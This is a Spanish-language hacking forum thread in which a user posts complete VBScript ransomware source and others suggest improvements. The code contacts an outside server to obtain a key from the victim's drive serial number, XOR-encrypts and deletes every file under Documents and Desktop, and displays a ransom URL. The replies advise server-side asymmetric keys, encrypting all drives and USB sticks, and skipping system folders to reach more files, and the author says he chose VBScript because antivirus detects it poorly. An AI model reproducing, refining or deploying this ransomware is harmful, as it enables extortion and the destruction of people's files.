Test Foro de elhacker.net SMF 2.1

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: Flamer en 28 Noviembre 2016, 20:18 PM

Título: Codigo De Ransomware en VBScript por Flamer
Publicado por: Flamer en 28 Noviembre 2016, 20:18 PM
Hola amigos aqui con un pequeño código que se me ocurrió hace unos días como cuando no hay nada que hacer y solo te vienen ideas de como joder mas al mundo jajajaja

Y me bino ala mente de crear un código en VBScript(ya que me gusta mas por su dificultad de detección por los AV) tipo ransomware

bueno así que ni mas ni menos aquí el código


Código (vb) [Seleccionar]

option explicit
dim shell,fso,document,f,password,desktop,id

set shell = createobject("wscript.shell")
set fso = createobject("scripting.filesystemobject")

document = shell.SpecialFolders("MyDocuments")
desktop = shell.SpecialFolders("Desktop")

set f = fso.getfolder(document)
id = f.drive.serialnumber

password = Contrasena(id)

cifrar(document)
cifrar(desktop)

msgbox "Para Recuperar Tus Archivos Ingresa a La Direccion:" & vbcrlf & vbcrlf & "http://practicashacking.net23.net/ransomware/Recover.php" & vbcrlf & vbcrlf & "Tu ID Es: " & id,,"Programa Finalizado"

function Contrasena(id)
  dim objhttp
  Set objhttp = createobject("Microsoft.XmlHttp")
 
  objhttp.open "POST","http://practicashacking.net23.net/ransomware/index.php",false
  objhttp.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
  objhttp.send "id=" & id

  Contrasena = objhttp.responsetext
end function

function cifrar(ruta)
   dim carpeta,listfiles,listfolders,f
   
   set carpeta = fso.getfolder(ruta)
   set listfolders = carpeta.subfolders
   set listfiles = carpeta.files
   
   for each f in listfiles
      archivo(f.path)
   next

   for each f in listfolders
      cifrar(f.path)
   next   
end function

function archivo(path)
   dim file,largo,i,f,b,p,n
   
   set file = fso.getfile(path)

   largo=file.size

   set f = file.OpenAsTextStream()
   redim bytes(largo)
   
   n = 1
   
   for i=0 to largo - 1
      if n = len(password) then
     n = 1
  else
         n = n + 1  
      end if  
  p = asc(mid(password,n,1))
      b = asc(f.read(1)) xor p
  bytes(i) = chr(b)
   next

   f.close 
   
   set f = fso.createtextfile(file.path & ".crypt")

   for n = 0 to i - 1
      f.write(bytes(n))
   next

   f.close
   file.delete
end function




saludos Flamer
Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: engel lex en 29 Noviembre 2016, 01:16 AM
no se como se hace en vbs, pero en lugar de usas winrar, podrías abrir los archivos leerlos y reescribirlos cifrados (puede ser algo tan simple como un xor, no es nada de otro mundo y facil de conseguir la password si sabes algo de analisis criptografico y no corres el riesgo que el hdd está lleno y no se puedan crear los rar)

por otro lado la contraseña debe crearse en el server por practicidad
Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: Flamer en 29 Noviembre 2016, 02:25 AM
Cita de: engel lex en 29 Noviembre 2016, 01:16 AM
no se como se hace en vbs, pero en lugar de usas winrar, podrías abrir los archivos leerlos y reescribirlos cifrados (puede ser algo tan simple como un xor, no es nada de otro mundo y facil de conseguir la password si sabes algo de analisis criptografico y no corres el riesgo que el hdd está lleno y no se puedan crear los rar)

por otro lado la contraseña debe crearse en el server por practicidad

en vbs hasta donde yo se no se pueden leer archivos binarios

y lo de la password no se por que en el servidor, ya que la clave es aleatoria

y si te refieres a eso de analizar los paquetes, si verán cuando envía la clave al servidor, pero si la recibe de el creo que también la verán no crees

saludos flamer

------------------EDITO------------
ya se leer binario en vbs, encontré un código en google, creo que corregiré el codigo
Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: engel lex en 29 Noviembre 2016, 02:34 AM
bueno, lo que pasa es que normalmente se usa cifrado asimetrico, así que no importa que vean la clave de cifrado, pero el par de la clave se genera en el servidor y ninguna la pc lo sabe
Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: Flamer en 19 Diciembre 2016, 03:14 AM
Actualizado el código ya no hace uso del winrar y la desventaja sigue siendo que ocupa internet en la pc victima.

esa desventaja se pude arreglar pero no quiero que al analizar el ransomware vean la generación de la clave

saludos Flamer y me falta una encriptacion asimetrica mientras sera via http
Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: engel lex en 19 Diciembre 2016, 05:42 AM
el ransomware puede tener una llave asimetrica estatica, eso no es problema, por lo menos no mientras no infecte a un punto que las compañias de AV decidan gastar dinero en romper tu clave XD
Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: XKC en 6 Enero 2017, 19:40 PM
Parece bastante interesante este tema, y viendo tu codigo veo que haces algo asi:

cifrar(document)
cifrar(desktop)

¿No seria tambien recomendable cifrar todos los discos (c, D, etc.. incluso si pillas algun pendrive o demás)?, y como va a ser muy lento crear un array con una lista de directorios a excluir(los directorios que no guarden informacion del usuario) y asi aumentarias el numero de archivos infectados.
PD: ¿En windows cuales son los directorios no utiles?, es decir, los que no guardan info de usuario.¿Serian estos?¿Alguno mas?
Saludos.
Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: Flamer en 9 Enero 2017, 04:17 AM
hola XKC si ciframos los archivos de la carpeta windows y program files creo que dejaremos el sistema dañado y ese no es el objetivo del ransomware, si no es de que te paguen por el rescate de los archivos importantes del usuario y estos suelen guardarse en las carpetas de mis documentos y el escritorio.

pero creo que seria mejor modificar el código y que busque los archivos por extensión, pero creo que saldría algún inteligente y remplazaría las extensiones por otras inventadas así el ransomware no encriptaria nada....pero en fin estoy divagando

saludos Flamer y aparte esas carpetas que mencionas piden permisos, lo que si estaría bien es que encripte las unidades conectadas tambien
Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: XKC en 9 Enero 2017, 12:27 PM
Cita de: Flamer en  9 Enero 2017, 04:17 AM
hola XKC si ciframos los archivos de la carpeta windows y program files creo que dejaremos el sistema dañado y ese no es el objetivo del ransomware, si no es de que te paguen por el rescate de los archivos importantes del usuario y estos suelen guardarse en las carpetas de mis documentos y el escritorio.

pero creo que seria mejor modificar el código y que busque los archivos por extensión, pero creo que saldría algún inteligente y remplazaría las extensiones por otras inventadas así el ransomware no encriptaria nada....pero en fin estoy divagando

saludos Flamer y aparte esas carpetas que mencionas piden permisos, lo que si estaría bien es que encripte las unidades conectadas tambien
No me has entendido bien, yo lo que queria decir es:
Usas un filtro para las estensiones cogiendo las utiles:
Pero despues a parte, si por ejemplo tu a la funcion cifrar(que es recursiva) le pasas el parametro Desktop, solo cifrara lo que tenga el usuario en eses directorio y sus respectivos subdirectorios.Por ejemplo en este caso, solo afectaria a ese usuario, y si guarda las cosas en el disco D:\ y usa accesos directos, o las guarda en C:\, o que no todo lo tenga en esos directorios, ahi el ramsomware fallaria.
Entonces la cosa seria listar todos los discos del ordenador(C:\, D:\, E:\, etc..) y con un bucle ir llamandolos a todos respectivamente. Como ya has filtrado por extensiones no creo que corras el riesgo de dejar inutil el sistema operativo.
Aun asi tiene s el problema de que todo el ordenador(sobre todo donde esta instalado el SO es muy grande y quizas tarde mucho en recorrerlo todo), para ello he pensado que se podrian excluir algunos directorios y subdirectorios tal que asi:
Asi de esta manera no anda buscando nada en directorios que no va a encontrar nada, es decir, lo optimizamos para que tarde menos.
No se si es buena ida hacer esto, de todas maneras si fuera asi ¿que directorios excluiriais vosotros?:
Saludos.